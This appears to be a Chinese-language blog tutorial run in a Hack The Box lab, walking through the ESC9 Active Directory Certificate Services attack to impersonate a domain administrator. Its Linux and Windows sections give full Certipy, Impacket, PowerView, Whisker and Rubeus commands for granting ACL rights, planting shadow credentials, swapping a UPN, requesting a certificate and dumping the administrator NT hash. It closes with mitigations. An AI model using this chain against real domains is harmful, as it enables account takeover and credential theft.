ADCS攻击系列:利用ESC9通过弱证书映射实现权限提升

本文详细介绍了如何利用ADCS中的ESC9漏洞通过弱证书映射实现域权限提升,包括漏洞原理、攻击条件、Linux和Windows环境下的具体攻击步骤以及相应的防护措施。

ADCS攻击系列:利用ESC9通过弱证书映射实现权限提升

Active Directory证书服务(ADCS)负责在AD环境中颁发和管理数字证书。这些证书用于加密和验证用户身份等用途。

但与AD中的大多数组件一样,ADCS也有自己的一系列漏洞,可能导致域权限提升和其他严重安全风险。这些错误配置使用"ESC"前缀加数字(如ESC1、ESC2等)进行跟踪引用。

在本系列中,我将逐一分析这些错误配置,并以实用且易于理解的方式进行讲解。

今天,我们将关注ESC9,这是一个与AD中证书映射相关的错误配置。我将详细介绍如何识别易受攻击的模板,并展示攻击者如何滥用它来冒充其他用户(如域管理员)。

我将使用HTB Academy的ADCS攻击模块来逐步演示这个过程。

目录

  • 理解证书映射
  • ESC9概述
  • ESC9滥用要求
  • 所需工具
  • 通过用户主体滥用ESC9
    • A. Linux方法
    • B. Windows方法
  • 缓解措施
  • 资源

理解证书映射

证书映射是AD确定证书属于哪个用户的方式,通常通过检查证书中的UPN、SAN或objectSid等字段。如果我们能欺骗AD认为证书属于不同的用户(如域管理员),我们就可以以该用户身份登录。

2023年,微软进行了一些更改以加强证书映射检查:

  1. 添加了额外验证:证书应包含objectSid,这对每个AD用户都是唯一的。这让域控制器能够双重检查证书的真正所有者。

  2. 在域控制器上添加了两个新的注册表键:

    • StrongCertificateBindingEnforcement:在身份验证期间验证证书所有权
    • CertificateMappingMethods:控制TLS/SSL(Schannel)身份验证的证书映射处理方式

StrongCertificateBindingEnforcement键控制证书验证的严格程度,有三种模式:

  • 禁用模式(0):不执行强检查
  • 兼容模式(1):DC首先在证书中查找objectSid。如果缺失,且用户账户在证书颁发前已存在,DC仍可能允许登录
  • 完全强制执行模式(2):仅当证书包含有效objectSid时,DC才允许登录。如果缺失,登录将被拒绝

除非存在错误配置的模板,否则此强制执行是有效的。这就是ESC9的切入点。

ESC9概述

ESC9涉及通过结合三个条件来滥用证书映射:

  1. 错误配置的证书模板不包含objectSid,这意味着它跳过了有助于将证书绑定到正确用户的安全扩展
  2. 域控制器的StrongCertificateBindingEnforcement注册表设置为0或1,允许弱证书映射
  3. 控制用户账户,如GenericWrite、WriteOwner或WriteDacl权限

当满足这些条件时,我们可以更改用户的用户主体名称(UPN)以匹配我们要冒充的身份。然后,当我们为该用户请求证书时,在身份验证期间它会被映射到被冒充的身份。

您可能认为如果域控制器的StrongCertificateBindingEnforcement设置为1,且证书缺少objectSid,DC会阻止它,但事实并非如此。在此模式下,DC可以回退到弱映射,这允许冒充成功。

但是,如果设置为2,且证书不包含objectSid,登录将被拒绝,攻击失败。

ESC9滥用要求

要执行ESC9攻击,我们需要找到满足以下关键条件的证书模板:

  1. 注册标志:此属性控制CA如何颁发证书。我们要查找的标志是:

    • msPKI-Enrollment-Flag: CT_FLAG_NO_SECURITY_EXTENSION 此值告诉CA不要在证书中包含objectSid,这会削弱证书映射强制执行
  2. 扩展密钥用法(EKU):EKU定义证书允许执行的操作,如登录系统或作为用户进行身份验证。对于ESC9,我们需要EKU设置为客户端身份验证。要查找的标志:

    • Extended Key Usage (EKU): Client Authentication
  3. 不需要经理批准:模板不应要求任何经理或管理员的手动批准。要检查的标志:

    • Requires Manager Approval = False
  4. 不需要授权签名:模板不应要求其他用户的额外批准签名。要检查的标志:

    • Authorized Signatures Required = 0
  5. 低权限注册权限:模板应允许低权限用户或计算机注册。要查找的标志:

    • Enrollment Rights: Domain Users, Everyone, Authenticated Users, or Domain Computers
  6. 对目标用户的写入权限:我们需要至少对要冒充的目标用户具有WriteOwner或WriteDACL权限。我们可以使用BloodHound检查这一点。

以下是运行Certipy并识别易受ESC9攻击的证书模板时的样子:

ESC9易受攻击的模板

所需工具

Linux: Certipy, Impacket, NetExec
Windows: Certify, Rubeus, NetExec

通过用户主体滥用ESC9

现在我们已经理解了ESC9的工作原理,让我们来看看如何在实践中滥用它。如果证书模板缺少所需的安全扩展(objectSid),并且我们控制了一个用户账户,我们可以操纵其属性来请求一个在身份验证期间映射到不同身份(如DA)的证书。

这里的关键步骤是将受控账户的UPN修改为我们要冒充的用户。这会在身份验证期间欺骗DC将证书映射到被冒充的身份。

在本节中,我们将介绍如何在Linux和Windows系统上执行此攻击。

A. Linux方法

1. 识别易受攻击的模板

我们首先找到易受ESC9攻击的证书模板。为此,我们可以使用Certipy并提供域用户凭据以及域控制器IP。

1
certipy-ad find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout

使用Certipy查找易受攻击的模板

查找注册标志设置为"NoSecurityExtension"、EKU包括客户端身份验证且注册权限授予低权限组(如域用户)的模板。

以下是符合这些条件的易受攻击模板示例:

易受ESC9攻击的模板

2. 识别我们可以控制的用户

一旦识别出易受攻击的模板,下一步是找到我们可以控制且具有写入权限(如GenericWrite、WriteDACL或GenericAll)的目标用户账户。这些权利允许我们修改用户对象上的属性。

使用GenericWrite,我们可以重置用户的密码并访问该账户。WriteDACL更进一步,允许我们编辑用户的DACL以授予自己完全控制。而使用GenericAll,我们已经对对象具有完全控制。

我们将使用BloodHound查找我们具有这些权利的用户。我们当前的用户是blwasp,因此我们将在BloodHound中查找"Outbound Object Control"权限。

如图所示,blwasp对多个用户具有GenericAll。我们将继续使用用户james@lab.local。

查找要控制的用户

通过控制此用户,我们可以更新他们的UPN并从易受攻击的模板请求证书。该证书将在身份验证期间映射回用户,让我们能够冒充他们。

3. 验证我们对用户的权限

我们可以使用Impacket模块dacledit来双重检查我们对目标用户james的访问权限。

1
impacket-dacledit -action read -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!' -principal blwasp -target james

如图所示,我们对james具有FullControl,确认我们可以安全地修改其属性。

检查blwasp对james的权限

如果我们仅对目标用户具有WriteOwner或WriteDACL,我们需要首先修改DACL以授予自己FullControl。我们也可以使用dacledit来完成此操作。

1
impacket-dacledit -action write -rights 'FullControl' -principal blwasp -target james -dc-ip 10.129.228.236 lab.local/blwasp:'Password123!'

授予当前用户对目标用户的FullControl权限

4. 检索目标用户凭据

通过对目标用户james的完全控制,我们有几个选项。我们可以重置他们的密码,或使用Shadow Credentials添加额外的凭据。

为了符合真实场景,我们希望避免重置用户密码并导致操作中断,我们将采用Shadow Credentials方法。

Shadow Credentials让我们生成自己的密钥对并将其注入目标账户的msDS-KeyCredentialLink属性中。这为我们提供了一种以用户james身份进行身份验证的方法,而无需更改他们的实际密码。

我们将使用Certipy的shadow命令:

1
certipy-ad shadow auto -u 'blwasp@lab.local' -p 'Password123!' -account james -dc-ip 10.129.228.236

为James创建Shadow Credentials

5. 修改UPN

下一步是将目标用户的UPN修改为我们要冒充的身份,在我们的案例中是administrator(DA)。

这很重要,因为当我们稍后请求证书时,UPN值将在证书映射期间使用。如果UPN与特权账户匹配,DC可能在身份验证期间将证书映射到该账户,允许我们冒充它。

运行以下Certipy命令来更新用户james的UPN。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn administrator@lab.local -dc-ip 10.129.228.236

将James的UPN修改为administrator

6. 作为被冒充用户请求证书

在更新目标用户james的UPN并添加shadow credentials后,我们现在可以使用易受攻击的模板作为james请求证书。

1
certipy-ad req -u 'james@lab.local' -hashes 7facdc498ed1680c4fd1448319a8c04f -ca lab-LAB-DC-CA -template ESC9 -dc-ip 10.129.228.236 -debug

由于UPN现在与administrator匹配,证书将在身份验证期间映射到administrator账户,允许我们冒充他们。

使用James哈希请求证书

7. 恢复更改

获取证书后,我们需要将james的UPN恢复为其原始值,以避免身份验证问题。如果UPN仍显示为administrator@lab.local,DC可能将证书映射到james而不是真正的administrator,这可能会触发名称不匹配错误或在请求TGT时出现KDC_ERR_C_PRINCIPAL_UNKNOWN。

1
certipy-ad account update -u 'blwasp@lab.local' -p 'Password123!' -user james -upn james@lab.local -dc-ip 10.129.228.236

恢复James账户的更改

8. 转储被冒充账户的NT哈希

使用auth命令以administrator身份进行身份验证并获取NT哈希:

1
certipy-ad auth -pfx administrator.pfx -domain lab.local -dc-ip 10.129.228.236

Administrator哈希

9. 使用NetExec验证哈希

接下来,通过运行以下命令使用nxc验证NT哈希:

1
nxc ldap 10.129.228.236 -u administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -d lab.local

如下所示,administrator哈希已成功验证。

验证DA哈希

B. Windows方法

1. 识别易受攻击的模板

我们首先识别可被滥用于ESC9的易受攻击证书模板列表。运行以下Certify命令:

1
.\Certify.exe find

注意:/vulnerable标志不能可靠地检测ESC9。这是因为ESC9是关于滥用CA端的证书映射,而不仅仅是模板中的错误配置。

识别域内启用的模板

对于ESC9,我们主要查找msPKI-Enrollment-Flag包括NO_SECURITY_EXTENSION、EKU包括客户端身份验证且注册权限授予域用户等组的模板。

易受ESC9攻击的模板

2. 识别我们可以控制的用户

与Linux部分一样,我们使用BloodHound识别我们可以控制的用户账户。从上一步中,我们识别出blwasp对james具有GenericAll。

这为我们提供了修改目标用户属性(如他们的UPN)所需的访问权限,因此我们可以使用易受攻击模板中的证书冒充他们。

3. 验证我们对用户的权限

我们可以使用PowerShell ADSI验证我们对用户james的权限。我们使用可分辨路径CN=JAMES,CN=USERS,DC=LAB,DC=LOCAL绑定到对象,然后检索用户的DACL并列出所有访问规则以检查我们具有的控制级别。

1
2
3
4
5
6
#指定目标用户
$user = [ADSI]"LDAP://CN=JAMES,CN=USERS,DC=LAB,DC=LOCAL"
#获取DACL信息
$sd = $user.psbase.ObjectSecurity
#显示ACL
$sd.Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize

如我们所见,我们当前的用户blwasp对用户james具有GenericAll,这确认我们具有完全控制并可以继续。

验证blwasp对james的权限

如果我们仅对目标用户具有WriteOwner或WriteDACL,我们需要首先修改DACL以授予自己FullControl。我们可以使用PowerView命令来完成此操作:

1
2
3
4
5
6
#获取目标对象的所有权
Set-DomainObjectOwner -Identity "james" -OwnerIdentity "blwasp" -Verbose
#授予完全控制权限
Add-DomainObjectAcl -TargetIdentity "james" -PrincipalIdentity "blwasp" -Rights All -Verbose
#验证更改
Get-DomainObjectAcl -Identity "james" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -eq (Get-DomainUser -Identity "blwasp").ObjectSID }

显示如何更新james权限(如果需要)

4. 检索目标用户凭据

通过对目标用户james的完全控制,我们可以使用Whisker的/add命令添加新的shadow credentials,就像在Linux端所做的那样。

1
Whisker.exe add /target:james /dc:10.129.228.236

向James账户添加shadow credential

然后,我们使用Whisker生成的Rubeus命令请求TGT并提取james的NT哈希:

1
.\Rubeus.exe asktgt /user:james /certificate:<Whisker-generated-Certificate> /password:"wXvMArpdoyFaGruh" /domain:lab.local /dc:10.129.228.236 /getcredentials /show

获取james的TGT

这让我们能够以james身份进行身份验证,而无需重置他们的实际密码。

5. 修改UPN

下一步是将目标用户的UPN更改为我们要冒充的身份——administrator@lab.local。我们可以使用PowerView来完成此操作:

1
Set-DomainObject james -Set @{'userPrincipalName'='administrator@lab.local'} -Verbose

此命令修改james的UPN以匹配administrator的。如下所示,James账户上的UPN已成功更新以冒充DA。

修改James的UPN以映射到administrator

6-8. 请求证书、恢复更改、转储NT哈希

此时,您可以按照Linux部分中使用Certipy的相同步骤:

步骤6:作为james(现在映射到administrator@lab.local)请求证书
步骤7:将UPN恢复以避免映射问题
步骤8:使用生成的.pfx进行身份验证并转储administrator的NT哈希

如果您使用Certify,您必须重置James的密码并以James身份登录。这是因为Certify需要活动用户会话,它使用当前用户上下文来请求证书。

我选择使用Certipy,它更简单直接。在内部评估中,我们通常通过C2框架代理流量,并从我们的测试机器通过该代理运行Certipy。

如果您想留在Windows上,只需从Microsoft Store安装Python,或设置WSL(Windows Subsystem for Linux)并从Microsoft Store直接安装Kali盒子。

9. 使用NetExec验证哈希

要验证被冒充用户的NT哈希,请在Windows上运行NetExec(nxc):

1
.\nxc.exe smb 10.129.228.236 -u administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

如下所示,这确认我们具有正确的DA哈希。

验证DA哈希

缓解措施

为了缓解ESC9的滥用,我们可以:

  1. 在所有域控制器上将StrongCertificateBindingEnforcement设置为2,以强制执行objectSid验证。如前所述,如果设置为2且证书不包含objectSid,身份验证将失败。

  2. 将模板注册权限限制为仅限受信任的组,避免将模板分配给低权限组(如域用户或所有人)。

  3. 审查并收紧用户和计算机对象上的ACL,以防止低权限用户获得写入访问权限。

总结

这是通过弱证书映射滥用ESC9冒充特权用户的完整演练。这里的关键不仅仅是找到易受攻击的模板,而是知道如何将其与用户控制相结合,并理解证书映射在底层实际如何工作。

在真实环境中,这些东西往往被忽视,尤其是在涉及过于宽松的ACL时。这是ESC9工作的关键条件。

一些组织会锁定并修复像ESC1或ESC2这样的错误配置,但忽略了留下宽松的ACL结合易受攻击的模板(如我们在ESC9中滥用的缺少安全扩展的模板)可能同样危险。

感谢阅读——下次见!

资源

  • ADCS ESC9a by SpecterOps
  • ADCS Attack Paths in BloodHound — Part 3 by SpecterOps
  • Hack The Box Academy — ADCS Attacks
  • Shadow Credentials
  • Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!
  • Skidaddle Skideldi — I just pwnd your PKI
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计